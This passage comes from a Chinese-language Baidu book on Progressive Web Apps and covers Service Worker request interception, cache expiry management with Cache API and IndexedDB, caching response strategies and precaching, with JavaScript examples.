站点。 打开 Mac 上 Safari 菜单栏的 开发 标签，就可以点击进 我的 iPhone。 接下来会发现 我的 iPhone 子菜单里有在 iphone 上打开的 PWA 站点，这时候就可以用 Safari 的 Devtools 进行调试。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter05.html\":{\"url\":\"chapter05.html\",\"title\":\"第5章 离线与缓存\",\"keywords\":\"\",\"body\":\"离线缓存 通过前面章节对 PWA 概念的了解，我们知道，离线缓存是 PWA 应用在体验提升上的一个重要特性，离线缓存特性能够使得 PWA 应用在离线环境下可以正常使用，在弱网环境下能够使站点快速响应。通常 PWA 的离线缓存特性主要是依赖 Web 提供的 Service Worker 机制和 Cache API 来配合实现的，并且可以在 Service Worker 文件中通过开发一系列的策略来管理网络策略。当然，这些工作比较复杂繁琐，尤其是在大型的 Web App 上，也可以借助开源的 Service Worker 工具库 Workbox 来辅助完成这些事情。 在本章将详细的介绍 PWA 离线缓存相关的概念和技术细节，如 Service Worker 缓存管理、缓存相关 API 等，并通过相关技术点的配合来实现离线缓存策略，最终会看到实际 Web App 项目中是如何高效的开发和维护离线缓存功能。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter05/1-fetch-event-management.html\":{\"url\":\"chapter05/1-fetch-event-management.html\",\"title\":\"5.1 资源请求的拦截代理\",\"keywords\":\"\",\"body\":\"资源请求的拦截代理 对资源请求的拦截代理是 Service Worker 的重要功能之一。Service Worker 在完成注册并激活之后，对 fetch 事件的监听就会开始生效，我们可以在事件回调里完成对请求的拦截与改写。下面这个简单的例子演示了如何拦截 http://127.0.0.1:8080/data.txt 的资源请求，并返回固定请求响应的过程： self.addEventListener('fetch', function (event) { if (event.request.url === 'http://127.0.0.1:8080/data.txt') { event.respondWith(new Response('Hello World!')) } }) 这样无论原始的 data.txt 内容是什么，经过上面的 Service Worker 拦截改写之后，都将变成简单的“Hello World!”。基于同样的方法，我们能够对任何形式的资源请求进行拦截代理，包括各种 JS、CSS、HTML 等文本文件，各类接口请求，甚至是图片、视频等数据流都是可以的。 资源请求的判断 fetch 事件会拦截页面上所有的网络资源请求，但我们通常只对部分资源请求进行处理，其余的请求会继续走浏览器默认的资源请求流程。因此需要对当前的资源请求进行判断分类。 fetch 事件回调参数的 event.request 属性描述了当前被拦截的资源请求，可以通过它来进行判断分类。event.request 是 Request 对象的实例，包含了资源请求的 URL、请求模式、请求头等全部信息。 一般情况下，资源请求的判断可以通过对 event.request.url 进行匹配来实现。下面的示例代码展示出部分常用的匹配方法： // 全等匹配 if (event.request.url === 'http://127.0.0.1:8080/data.txt') { // 匹配成功 } // 正则匹配 if (/\\\\/data\\\\.txt/.test(event.request.url)) { // 匹配成功 } // 借助 URL 进行匹配 let url = new URL(event.request.url) if ( url.hostname === '127.0.0.1' && url.port === '8080' && url.pathname === '/data.txt' ) { // 匹配成功 } 在一些特殊情况下，仅靠 URL 进行文本匹配并不足以判断资源请求是否满足，那么可以利用 event.request 的其他属性进行辅助判断： // 匹配 POST 请求 if (event.request.method === 'POST') { // 匹配成功 } // 匹配 text/html 资源类型请求 if (event.request.headers.get('Content-Type') === 'text/html') { // 匹配成功 } 我们可以将前面提到的一些常用的匹配方法封装成 match 函数，在后续使用的时候，只需要传入匹配规则和资源请求对象即可： function match (rule, request) { switch (Object.prototype.toString.call(rule)) { // url 文本匹配 case '[object String]': // 使用 URL() 将匹配规则传入的路径补全 return request.url === new URL(rule, location).href // url 正则匹配 case '[object RegExp]': return request.url.match(rule) // 支持自定义匹配 case '[object Function]': return rule(request) } } 下面举一些使用 match 方法进行资源请求匹配的例子： // 完整版 URL 匹配 match('http://127.0.0.1:8080/data.txt', event.request) // 相对路径 URL 匹配 // // 假设当前页面网址为 http://127.0.0.1:8080/index.html // 那么 /data.txt 会自动补全为 http://127.0.0.1:8080/data.txt match('/data.txt', event.request) // 正则匹配 match(/\\\\/data\\\\.txt/, event.request) // 自定义匹配方法 match( request => request.url.indexOf('/data.txt') > 0, event.request ) 资源请求的响应 通过 fetch 事件回调参数的方法 event.respondWith(r) 可以指定资源请求的响应结果。respondWith(r) 方法的参数 r 可以是一个 Response 对象实例，也可以是一个 Promise 对象，这个 Promise 对象在异步执行完成的时候同样需要 resolve 返回一个 Response 对象实例作为请求的响应结果。下面演示的两种请求响应方式都是可行的： // 直接返回 Response 对象 event.respondWith(new Response('Hello World!')) // 等待 1 秒钟之后异步返回 Response 对象 event.respondWith(new Promise(resolve => { setTimeout(() => { resolve(new Response('Hello World!')) }, 1000) })) 异步资源请求响应的正确方式 event.respondWith 方法与 install、activate 事件回调参数中的 event.waitUntil 类似，起到了扩展延长 fetch 事件生命周期的作用，在 fetch 事件回调同步执行完毕之前如果没有调用 event.respondWith(r) 指定资源响应结果，那么就会进入浏览器默认的资源请求流程当中。下面所演示一种常见的错误用法，此时 event.respondWith 是没有任何效果的。 // 错误用法 self.addEventListener('fetch', event => { if (event.request.url === 'http://127.0.0.1:8080/data.txt') { setTimeout(() => { event.respondWith(new Response('Hello World!')) }, 1000) } }) 上面的错误用法当中，原本目的是 1 秒钟之后返回 Response 对象，但由于回调函数同步执行完毕之前没有检测到 event.respondWith(r) 方法的调用，因此在 setTimeout 执行回调之前，浏览器就已经发起网络请求并获取到真实的 data.txt，因此它的响应结果并不是被 Service Worker 改写的“Hello World!”。正确的做法是，应该将异步处理的操作包装成一个 Promise 对象传入 event.respondWith 方法中。 // 正确用法 // 等待 1 秒钟之后异步返回 Response 对象 event.respondWith(new Promise(resolve => { setTimeout(() => { resolve(new Response('Hello World!')) }, 1000) })) 资源请求响应的错误处理 需要注意的是，当使用了 event.respondWith 指定资源响应之后，无论是以同步还是异步的方式，最终都需要返回 Response 对象。假如返回的不是 Response 对象，或者是过程中存在任何未处理的错误，除了会导致对应的请求失败之外，控制台还会打印出 Service Worker 的程序错误信息。下面举例说明一些常见的错误，并指出其中错误的原因： // 错误原因：promise 返回结果非 Response 对象 event.respondWith('Hello World!') event.respondWith(Promise.resolve()) event.respondWith(Promise.resolve('Hello World!')) // 错误原因：存在未处理的异步错误 event.respondWith(Promise.reject(new Response('Hello World!'))) 因此在调用 event.respondWith 的时候，需要主动捕获并处理错误、处理异常返回结果。我们可以封装一个 respond 方法来处理响应的各种异常，处理异常的方式我们在这里选择一种比较简单的方式，那就是直接返回一个状态为 500 的 Response 对象： function respond (event, handler) { try { // 执行响应处理方法，根据返回结果进行兜底 let res = handler(event.request) // 异步的响应结果兜底 if (res instanceof Promise) { let promise = res.then(response => { // 如果返回结果非 Response 对象，抛出错误 if (!(response instanceof Response)) { throw Error('返回结果异常') } return response }) // 异步响应错误处理，即直接返回状态码为 500 Response 对象 .catch(() => new Response('Service Worker 出错', {status: 500})) event.respondWith(promise) return } // 同步响应如果出现任何错误 // 可以选择不调用 event.respondWith(r) // 让资源请求继续走浏览器默认的请求流程 if (res instanceof Response) { event.respondWith(res) } } catch (e) {} } 这样，前面提到的各类异常响应就不会导致控制台报错了： // 继续走浏览器默认的请求流程 respond(event, () => 'Hello World!') respond(event, () => {throw Error('出现异常')}) // 返回 500 Response 对象 respond(event, () => Promise.resolve()) respond(event, () => Promise.reject()) // 正常返回 'Hello World!' respond(event, () => new Response('Hello World!')) respond(event, () => Promise.resolve(new Response('Hello World!'))) 这里展示的返回 500 只是其中一种处理方式，读者可以尝试改写成默认发起 fetch() 请求进行兜底。 资源请求与响应操作的管理 在 fetch 事件回调当中主要进行着资源请求匹配和响应结果返回的操作，可以把这个过程当做一个路由分发的问题，因此我们可以封装一个 Router 类来实现对路由的匹配规则和操作分发的统一管理。 class Router { constructor () { // 存放路由规则 this.routes = [] // 注册 fetch 事件拦截 this.initProxy() } initProxy () { self.addEventListener('fetch', event => { // 当拦截到资源请求时，会遍历已注册的路由规则，并执行相应规则所对应的策略 for (let route of this.routes) { // 使用前面封装好的 match 函数进行路由规则匹配 if (match(route.rule, event.request)) { // 使用前面封装好的 respond 方法执行回调操作 respond(event, route.handler) break } } }) } registerRoute (rule, handler) { this.routes.push({rule, handler}) } } 有了这个 Router 类之后，开发者将只需关心如何进行资源请求的规则匹配和响应操作的实现问题。接下来我们使用 Router 来改写本节开篇的实例： const router = new Router() router.registerRoute( '/data.txt', () => new Response('Hello World!') ) 小结 本节内容主要介绍了如何在 Service Worker 中监听 fetch 事件来实现对资源请求拦截代理，介绍了如何通过 event.request 进行资源请求判断，如何通过 event.respondWith 实现对资源请求的响应。最后实现了 Router 类来实现对资源请求和响应操作的统一管理。在下一节，将会进一步探讨资源响应的策略。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter05/2-local-storage-management.html\":{\"url\":\"chapter05/2-local-storage-management.html\",\"title\":\"5.2 本地存储管理\",\"keywords\":\"\",\"body\":\"本地存储管理 在上一节解决了如何对资源请求进行拦截代理之后，要实现网页的离线缓存还需要解决本地存储的选择与管理问题。 从前面学习中我们知道，处于同一作用域下的网页会共用一个 Service Worker 线程，这个 Service Worker 会同时处理来自不同页面的资源请求的拦截和响应，因此基于性能上的考虑，Service Worker 在设计标准时就要求了任何耗时操作都必须异步实现。这也就导致了在 Service Worker 作用域下能够使，前只有 Cache API 和 IndexedDB，因为目前只有二者在功能实现上全部采用了异步形式，而其他诸如 localStorage 属于同步方法，因此无法在 Service Worker 中使用。 关于 Cache API 和 IndexedDB 在第三章基础技术的简介当中已经做了详细介绍，因此本节的重点将主要放在二者的对比，分析二者的使用场景，在使用时需要关心的注意事项等方面，并在最后举例说明如何结合两种存储方式来实现离线缓存的。 Cache API 与 IndexedDB 的应用场景 Cache API 是为资源请求与响应的存储量身定做的，它采用了键值对的数据模型存储格式，以请求对象为键、响应对象为值，正好对应了发起网络资源请求时请求与响应一一对应的关系。因此 Cache API 适用于请求响应的本地存储。 IndexedDB 则是一种非关系型（NoSQL）数据库，它的存储对象主要是数据，比如数字、字符串、Plain Objects、Array 等，以及少量特殊对象比如 Date、RegExp、Map、Set 等等，对于 Request、Response 这些是无法直接被 IndexedDB 存储的。 可以看到，Cache API 和 IndexedDB 在功能上是互补的。在设计本地资源缓存方案时通常以 Cache API 为主，但在一些复杂的场景下，Cache API 这种请求与响应一一对应的形式存在着局限性，因此需要结合上功能上更为灵活的 IndexedDB，通过 IndexedDB 存取一些关键的数据信息，辅助 Cache API 进行资源管理。 缓存管理注意事项 在进行本地存储开发的时候，需要注意以下几个问题。 本地存储空间是有限的 任何缓存都是有容量大小限制的，Cache API 和 IndexedDB 都不例外。不同的浏览器在分配策略上可能存在不同，一般都会分配出一个较大的存储空间来供这些存储 API 使用。浏览器通常不会主动清除缓存资源，但是如果数据存储容量较大以至于超出浏览器配额时，这时便无法写入资源导致存储失败。 这时浏览器会采用 LRU（Least Recently Used）算法根据数据的历史访问记录来淘汰数据以清理出可存储空间，但这个行为属于浏览器的主动行为不受开发者所控制，可能会导致这部分被清理的缓存资源访问失败。 因此在设计缓存方案时，应该做好缓存资源的过期失效和清理工作，尽量避免被动触发浏览器的资源清理。同时为了满足更加精细化的缓存管理，浏览器提供了 StorageEstimate API 去查询当前缓存空间的使用情况，这样我们就可以利用这些数据来更好地管理缓存资源。其使用方法如下所示： navigator.storage.estimate() .then(estimate => { // 设备为当前域名所分配的存储空间总大小 console.log(estimate.quota) // 当前域名已经使用的存储空间大小 console.log(estimate.usage) }) 资源的存取过程可能会失败 资源在写入存储和读取的过程中都存在失败的可能。 写入失败的原因有很多，比如前面提到的存储资源大小超出浏览器配额时，就会被浏览器限制写入。此外，在隐身模式或者是用户未授权的情况下，一些浏览器同样不允许进行存储操作。 本地的存储资源是完全可以被用户访问的，因此用户随时可能对这些存储资源进行修查找对应资源改或删除。一般来说用户修改数据的情况比较少见，但是清除数据还是很常见的，只要用户主动进行浏览器数据清理操作，就会导致存储数据的丢失。 所以应该随时做好存取失败时的异常捕获与降级方案，确保程序运行时不会出错。 存储的资源可能会过期 即使在存取过程没有发生任何意外的前提下，存储的资源本身也可能会存在过期失效的问题。资源过期就意味着资源是无用甚至错误的，使用这些过期资源会带来各种意想不到的问题，因此要及时做好资源的更新和旧资源的清理工作。 缓存管理实现 接下来我们将通过 CacheWrapper 来统一实现缓存的管理。CacheWrapper 的基本思路是实现对 Cache API 的封装，分别在执行 cache.put() 和 cache.match() 的时候依次完成对缓存对象的更新和旧资源的清理。资源过期信息存放在 IndexedDB 当中，我们可以使用在第三章中封装了 IndexedDB 的 DB 类来简化 IndexedDB 的操作。 构造函数 CacheWrapper 需要传入两个参数 cacheName 和 expireOptions。其中 cacheName 为缓存名称，用于获取 cache 对象以及实例化 db。expireOptions 为资源过期的配置信息，在这里我们只演示资源超时过期的管理，因此只需要传入 maxAgeSeconds 参数规定资源的过期时长即可。 class CacheWrapper { constructor ({ cacheName, expireOptions: { maxAgeSeconds } }) { this.cacheName = cacheName this.maxAgeSeconds = maxAgeSeconds } } 这样我们可以通过如下方式实例化 CacheWrapper： const cacheWrapper = new CacheWrapper({ // 给缓存起个名 cacheName: 'resource-cache', // 假设缓存 1 星期之后资源过期 expireOptions: { maxAgeSeconds: 7 * 24 * 60 * 60 } }) 获取 cache 和 db 对象实例 接下来需要定义获取 cache 对象和 db 对象的方法，通过 this.cacheName 指定名称可以获得通过如下方法分别获得： class CacheWrapper { // ... async getCache () { if (!this.cache) { this.cache = await caches.open(this.cacheName) } return this.cache } getDB () { if (!this.db) { this.db = new DB({storeName: this.cacheName}) } return this.db } } 有了 getCache() 和 getDB() 之后，就可以在后续的方法实现当中直接调用这两个方法分别获得当前的 cache 和 db 对象了。 写入资源的同时记录资源过期时间 在调用 cache.put() 方法的时候一般用于新增或者更新本地资源，此时应该同步更新缓存的过期时间。由于传入的 maxAgeSeconds 单位是秒，因此在计算过期时间的时间戳时需要乘以 1000 换算成毫秒： class CacheWrapper { // ... async set (request, response) { // 获取 db 对象 let db = this.getDB() // 获取 cache 对象 let cache = await this.getCache() // 同时更新本地缓存与资源所对应的过期时间 await Promise.all([ cache.put(request, response), db.setItem(request.url, Date.now() + this.maxAgeSeconds * 1000) ]) // 清理过期资源，无需阻塞异步方法的执行 this.deleteExpires() } } 读取资源时排除过期资源 在调用 cache.match() 方法查询本地资源的同时，应该确认对应资源是否过期，只有当资源未过期时再将资源返回结果： class CacheWrapper { // ... async get (request) { // 获取 db 对象 let db = this.getDB() // 获取 cache 对象 let cache = await this.getCache() // 同时读取资源及其过期时间 let [response, expireTime] = await Promise.all([ cache.match(request), db.getItem(request.url) ]) // 如果未超时则代表资源没过期，将读取到的资源返回 // 如果资源过期则不返回任何内容 if (expireTime > Date.now()) { return response } // 清理过期资源，无需阻塞异步方法的执行 this.deleteExpires() } } 过期资源清理方法实现 在调用 CacheWrapper 的 set() 和 get() 方法结束前，都调用了 deleteExpires 统一进行过期资源清理，其方法的实现如下所示： class CacheWrapper { // .. async deleteExpires () { // 获取 db 对象 let db = this.getDB() // 获取 cache 对象 let cache = await this.getCache() // 获取全部资源的过期信息 let map = await db.getAll() if (!map) { return } let now = Date.now() // 遍历所有过期信息，并对过期资源进行清理 for (let [url, expireTime] of map) { if (expireTime 利用 CacheWrapper 实现对资源的过期管理 这样我们就可以通过使用 CacheWrapper 实现对资源进行简易的过期管理。比如下面的例子所展示的，结合 Router 实现对图片资源的过期清理。在这个例子中，我们优先从本地缓存中读取图片资源，如果资源尚未被缓存或者资源过期，则发起网络请求获取最新资源并缓存到本地。利用 CacheWrapper 可以非常方便地实现缓存过期管理： const router = new Router() // 实例化 cacheWrapper 对象 const cacheWrapper = new CacheWrapper({ // 单独给图片资源分配缓存名称 cacheName: 'image-cache', expireOptions: { // 对图片资源缓存 1 星期 maxAgeSeconds: 7 * 24 * 60 * 60 } }) router.registerRoute(/\\\\.(jpe?g|png)$/, async request => { // 优先读取本地缓存中的图片 // 如果本地无缓存图片/缓存过期/读取缓存出错，则 response 为空 let response = await cacheWrapper.get(request).catch(() => {}) if (response) { return response } // 如果本地尚未缓存或者缓存过期，则发起网络请求获取最新图片资源 response = await fetch(request.clone()) // 如果请求成功，则更新缓存 // 更新缓存过程无需阻塞进程 if (response.ok) { cacheWrapper.set(request, response.clone()) } // 返回资源 return response }) 资源管理除了上面所演示的过期管理之外，还可以对某一类资源限制存储的数量，比如限制图片最多缓存 10 张等等，这些管理方案都可以通过 Cache API 与 IndexedDB 相结合的方式实现，在这里就不一一做演示了，读者可以根据 CacheWrapper 的思路进行相关功能的实现。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter05/3-respond-strategy.html\":{\"url\":\"chapter05/3-respond-strategy.html\",\"title\":\"5.3 资源请求响应策略\",\"keywords\":\"\",\"body\":\"资源请求响应策略 在 Service Worker 环境下，可以通过 Fetch API 发送网络请求获取资源，也可以通过 Cache API、IndexedDB 等本地缓存中获取缓存资源，甚至可以在 Service Worker 直接生成一个 Response 对象，以上这些都属于资源响应的来源。资源请求响应策略的作用，就是用来解决响应的资源从哪里来的问题。 接下来将介绍一些常用的策略及其简易实现，这些给出的策略代码其主要作用是演示策略的基本实现思路而移除了不少容错兜底的相关逻辑，读者可以在理解思路的基础上对这些代码进行补充完善，并尝试应用到实际的生产环境当中。 由于这些策略都涉及到较为复杂的异步操作，因此在介绍策略的编程实现时将会使用 ES7 的 Async 函数语法来简化代码逻辑。对 Async 函数不太了解的同学可以首先查看第三章 Async 函数的介绍进行简要学习。 准备工作 在介绍响应策略前，首先得统一策略函数的一些基本格式以及声明一些共用方法。 统一策略函数格式 在前面资源请求的拦截代理一节中我们封装了 Router 来统一管理请求响应的分发，对应的响应策略函数以当前请求对象 request 为参数，以响应对象 response，或者异步返回 response 的 Promise 对象最为返回值，这就构成了策略函数的基本格式： /** * 策略函数格式 * * @param {Request} request 当前请求对象 * @return {Response|Promise.} 响应对象 */ function strategy (request) { // ... return response } 由于这些响应策略都或多或少地使用到了 Fetch API、Cache API 的功能，不同的策略在不同的应用场景下所使用的配置可能不一样，为了实现灵活且规范化的配置，我们在这里统一使用高阶函数的形式进行实现： function strategyFactory ({ // Fetch API 配置 fetchOptions, // Cache 名称 cacheName = 'runtime-cache', // cache.match 配置 matchOptions } = {}) { return request => { // 使用 Fetch API 发请求就可以将 fetchOptions 作为参数传入： fetch(request, fetchOptions).then(response => {/* 相关处理 */}) // ... // 使用 cacheName 获取缓存对象 caches.open(cacheName).then(cache => { // 使用 matchOptions 配置查找缓存 cache.match(request, matchOptions) }) // ... return response } } 我们就可以通过这个形式的函数参数传入各项配置，而函数的返回结果就是配置好的策略函数本身： let strategy = strategyFactory({ fetchOptions: { mode: 'cors' }, cacheName: 'v1', matchOptions: { ignoreSearch: true } }) // 配合 Router 进行策略的注册与使用 router.registerRoute('/data.txt', strategy) 公用方法 接下来定义一些常用的方法以便简化接下来的策略实现代码。这些公用方法以局部方法的形式定义在策略工厂函数的函数体内，这样就可以直接使用到工厂函数所传入的参数了。 cacheResponse() 的作用是往缓存中写入资源： const cacheResponse = async (request, response) => { // 使用 cacheName 参数打开缓存 let cache = await caches.open(cacheName) await cache.put(request, response) } getCachedResponse() 的作用是从缓存中查找资源并返回： const getCachedResponse = async request => { let cache = await caches.open(cacheName) return cache.match(request, matchOptions) } fetchAndCatch() 的作用是发起网络请求，并且把成功响应的对象存入缓存中： const fetchAndCatch = async request => { let response = await fetch(request.clone(), fetchOptions) // 请求资源失败时直接返回 if (!response.ok) { return } // 网络请求成功后，将请求响应结果复制一份存入缓存中 // 更新缓存过程无需阻塞函数执行 cacheResponse(request, response.clone()) // 同时缓存更新行为只需静默执行即可 .catch(() => {}) // 返回响应结果 return response } 有了这些公用方法，后面的策略实现过程将变得简单很多。 Network First Network First，网络优先策略。该策略会优先尝试发送网络请求获取资源，在资源获取成功的同时会复制一份资源缓存到本地，当网络请求失败时再尝试从本地缓存中读取缓存资源。Network First 策略一般适用于对请求的实时性和稳定性有要求的情况。其代码实现如下所示： function networkFirst ({ fetchOptions, cacheName = 'runtime-cache', matchOptions } = {}) { // ...（定义getCachedResponse、fetchAndCatch） return async request => { let response try { // 优先发起网络请求，并将请求返回结果缓存到本地 response = await fetchAndCatch(request) } catch (e) {} if (response == null) { // 网络资源请求失败时，从本地缓存中读取缓存 response = await getCachedResponse(request) } return response } } 假设我们需要对 /api 类型的接口请求使用 Network First 的缓存策略，相关代码如下所示： router.registerRoute(/\\\\/api/, networkFirst()) Cache First Cache First，缓存优先策略。该策略会优先从本地缓存读取资源，读取失败后再发起网络请求，成功获得网络请求响应结果时会将该结果缓存到本地。对于实时性要求不太高的资源，可以使用该策略提高加载速度。缓存优先策略的代码如下所示： function cacheFirst ({ fetchOptions, cacheName = 'runtime-cache', matchOptions } = {}) { // ...（定义 getCachedResponse、fetchAndCatch） return async request => { let response try { // 优先匹配本地缓存 response = await getCachedResponse(request) } catch (e) {} // 匹配不到缓存或者缓存读取出现异常时，再去发起网络请求 // 并且将请求成功的资源写入缓存中 if (response == null) { response = await fetchAndCatch(request) } return response } } 下面演示 Cache First 策略的使用方法。对于 jQuery 这样公共 JS 库就非常适合使用 Cache First 策略，例子中的 jQuery 的代码托管在非同源的 CDN 上面，因此需要传入 fetchOptions 参数去指定该策略中的 fetch 方法请求跨域资源时的请求模式为 cors： router.registerRoute( 'https://code.jquery.com/jquery-3.3.1.min.js', cacheFirst({ fetchOptions: { mode: 'cors' } }) ) Network Only Network Only，仅通过发送正常的网络请求获取资源，并将请求响应结果直接返回。该策略适用于对实时性要求非常高的资源，或者是无需进行缓存的资源。比如验证码图片、统计数据请求等等。策略的代码实现如下所示： function networkOnly ({ fetchOptions } = {}) { return request => fetch(request, fetchOptions) } Cache Only Cache Only，仅从缓存中读取资源。这个策略一般需要配合预缓存方案使用。策略的代码实现如下所示： function cacheOnly ({ cacheName, matchOptions } = {}) { // ...（定义 getCachedResponse） return async request => { let response = await getCachedResponse(request) return response } } Stale While Revalidate Stale While Revalidate，该策略跟 Cache First 策略比较类似，都是优先返回本地缓存的资源。不同的地方在于，Stale While Revalidate 策略无论在缓存读取是否成功的时候都会发送网络请求更新本地缓存。这样的好处是，在保证资源请求响应速度的同时，还能够保证缓存中的资源一直保持一个比较新的状态；它的缺点也比较明显，就是每次请求资源的时候，都会发起网络请求占用用户的网络带宽。其代码实现如下所示： function staleWhileRevalidate ({ fetchOptions, cacheName = 'runtime-cache', matchOptions } = {}) { // ...（定义 getCachedResponse、fetchAndCatch） return async request => { let response // 首先读取本地缓存 try { response = await getCachedResponse(request) } catch (e) {} // 发起网络请求并更新缓存 let fetchPromise = fetchAndCatch(request) // 如果存在本地缓存，则静默更新缓存即可，无需阻塞函数执行 if (response) { // 静默更新，无需报错 fetchPromise.catch(e => {}) } else { // 反之则将网络请求到的资源返回 response = await fetchPromise } return response } } 示例 本节的示例代码托管在 GitHub 上面，读者可以自行将代码下载到本地运行和修改。本示例页面实现了文章阅读功能，页面正文展示文章主体，页脚显示文章阅读量。这是个简单的 SPA 页面，采用了 App Shell 的设计模式，框架与内容分离，内容通过异步数据请求到前端之后再进行前端渲染。 首先我们需要对这个示例的资源进行分析，并选择相应的资源请求响应策略： index.html、index.css、index.js：网页的 App Shell，由于框架与内容分离，可以认为 App Shell 是不常变动的，因此可以选择 Cache First； article.json：文章数据，文章内容可能会被作者编辑产生一定变化，但实时性要求不是很高，在这里可以选择使用 Stale While Revalidate； statistics.json：统计数据，返回文章的阅读量数据，这类数据并不影响文章的展示，因此可以选择 Network Only 或者是 Network First。 接下来我们将上述分析的结论转化为如下 Service Worker 代码： var router = new Router() router.registerRoute(/\\\\/index\\\\.(html|css|js)$/, cacheFirst()) router.registerRoute(/\\\\/article\\\\.json$/, staleWhileRevalidate()) router.registerRoute(/\\\\/statistics\\\\.json$/, networkOnly()) 这样示例的 Service Worker 文件就准备完毕了，然后只需要在 index.html 增加 Service Worker 的注册脚本，这样就开发完成了。 if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/service-worker.js') } 接下来通过 node server.js 命令启动服务器，然后打开 Chrome 浏览器访问 http://127.0.0.1:8080/index.html，可以看到浏览器显示如下所示： 这时打开 Chrome 开发者工具下的 Application > Service Worker 面板，可以看到首次访问页面的时候，service-worker.js 文件开始进行注册并激活。 此时点击展开 Cache Storage 面板，在 runtime-cache 这个缓存空间并没有任何缓存内容。在刷新页面即第二次访问页面之后，runtime-cache 终于有了缓存资源： 此时断开浏览器的网络链接并再一次刷新页面，可以看到在离线情况下，页面上的文章内容和大体样式均正常显示，阅读数的请求由于我们没有对其进行缓存，因此在显示上被容错显示成了 0，这些表现均符合预期。 小结 本节主要介绍了一些常用的资源请求响应策略，依次分析了它们的适用场景，最后结合示例演示了在项目当中的实际应用方法。这些常用策略基本能够满足大部分的 Service Worker 开发需求，但这并不是全部，读者可以根据实际的需求，创造出其他更为复杂的策略。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter05/4-precache.html\":{\"url\":\"chapter05/4-precache.html\",\"title\":\"5.4 预缓存方案\",\"keywords\":\"\",\"body\":\"预缓存方案 一个网页的展现所依赖的资源可以大致分为两类：一、静态资源，比如 JS，CSS，前端渲染的 HTML 文件，样式文件中可能使用到的字体、背景图片等等。它们的作用是保证页面的前端功能和样式正常工作。这些资源只有在网站更新上线的时候才会发生变化，因此它们的内容和数量都是确定且可控的，更新频率较低，重复使用率高；二、动态资源，比如各种接口请求返回的各种数据，后端渲染的 HTML 页面，内容中的图片、视频等等。它们更侧重于页面的内容表达，因此会随着展现内容的调整而不断变化。这些资源内容变化频繁且不可控，重复使用率也较低。因此我们应该对这两种资源分别进行管理，同时针对静态资源的特点设计出更为高效的预缓存方案。 预缓存方案设计 首先，静态资源的特点之一是确定性，在网站开发的时候就已经能够确定下来。在前面介绍资源请求响应策略时，资源缓存都是在请求被拦截之后，经过响应策略的处理才被缓存下来，这个缓存过程是被动的，缓存的生效时间也比较慢。但由于静态资源具有确定性，因此可以主动获取所需缓存的资源列表，并且在 Service Worker 安装阶段就主动发起静态资源请求并缓存，这样一旦新的 Service Worker 被激活之后，缓存就直接能投入使用了。这是一个资源预取的过程，因此静态资源的缓存方案也称为预缓存方案。 其次，静态资源具有稳定性，在两次上线期间资源内容不会发生变化。因此可以在拦截到静态资源请求时优先返回缓存资源，从而减少网络请求数，提高了缓存利用率，并最终获得加快页面展现和离线可用的效果。 资源列表获取 框架型资源是可控的，它们在进行网站开发的时候就能够确定下来。比如在上一节的例子当中，很容易就能看出它的框架型资源是 index.html、index.css、index.js；如果是大型前端项目，如果借助了 webpack、Rollup 等前端构建工具，最终的生成产物也都属于框架型资源，通过简单的文件遍历就能够获取资源列表信息。接下来通过路径映射，就可以获得资源的 URL 列表： let urls = [ '/index.html', '/index.js', '/index.css' ] 同时由于能够直接获得资源的内容，也可以在列表中添加资源内容相关的信息，比如文件 md5、文件版本号等信息作为资源的附加标识。通过这些标识可以用来判断资源的内容是否发生变更，为后续资源管理提供更多的信息。因此上面的 URL 列表可以进一步改写成如下形式： let resources = [ // 通过 md5 标识 { url: '/index.html', revision: 'abc' }, // 通过文件版本标识 { url: '/index.js', revision: '1.0.1' }, // url 直接包含标识信息 '/index.abc.css' ] 在获取到需要预缓存的资源列表信息之后，接下来开始设计新资源的加载与缓存。 新资源的加载与缓存 为了能够让静态资源在新的 Service Worker 安装完成时已缓存完毕，可以将资源加载与缓存的过程放在 install 事件回调里执行。 通过前面 Service Worker 生命周期的学习我们知道，Service Worker 安装阶段只会触发一次 install 事件，一旦安装完成便不会重复触发，只有在 Service Worker 文件内容出现变化，或者主动调用 ServiceWorkerRegistration.update() 的情况下才会触发 Service Worker 的重新安装。同时资源的加载与缓存过程可能由于网络原因导致缓存失败，在这种情况下需要中断 Service Worker 的安装过程，等待页面下次被访问的时候重新触发安装过程。因此加载新资源的代码如下所示： self.addEventListener('install', event => { event.waitUntil(cacheAll(cacheName, urls)) }) 其中 cacheAll() 方法可以利用 Cache API 提供的 addAll() 方法简单实现： function cacheAll (cacheName, urls) { return caches.open(cacheName).then(cache => cache.addAll(urls)) } 重名资源的加载 在加载新资源的时候正处于新的 Service Worker 安装阶段，此时旧的 Service Worker 仍在正常工作，因此在加载新资源的时候需要格外注意，不要覆盖掉具有相同路径的旧资源。解决这个问题有以下几种方案： 1.新旧资源使用不同名称的缓存对象进行存储。 这种方案能够非常方便地解决重名问题，新旧资源使用不同名称的缓存对象进行存储，那么各自的资源在存储时就已经相互隔离，因此不需要关心资源是否重名，甚至不需要关心资源是否增减、修改等问题，全部资源都需要进行加载和缓存。这样新旧资源的管理问题就转化成了新旧存储仓库的管理问题，我们只需关心如何增加新仓库，删除旧仓库即可。 但这并不是最优方案，因为新旧资源当中可能存在没有发生变化的部分，这部分资源的重复加载其实是没必要的，既额外消耗了用户流量，也同时减缓了 Service Worker 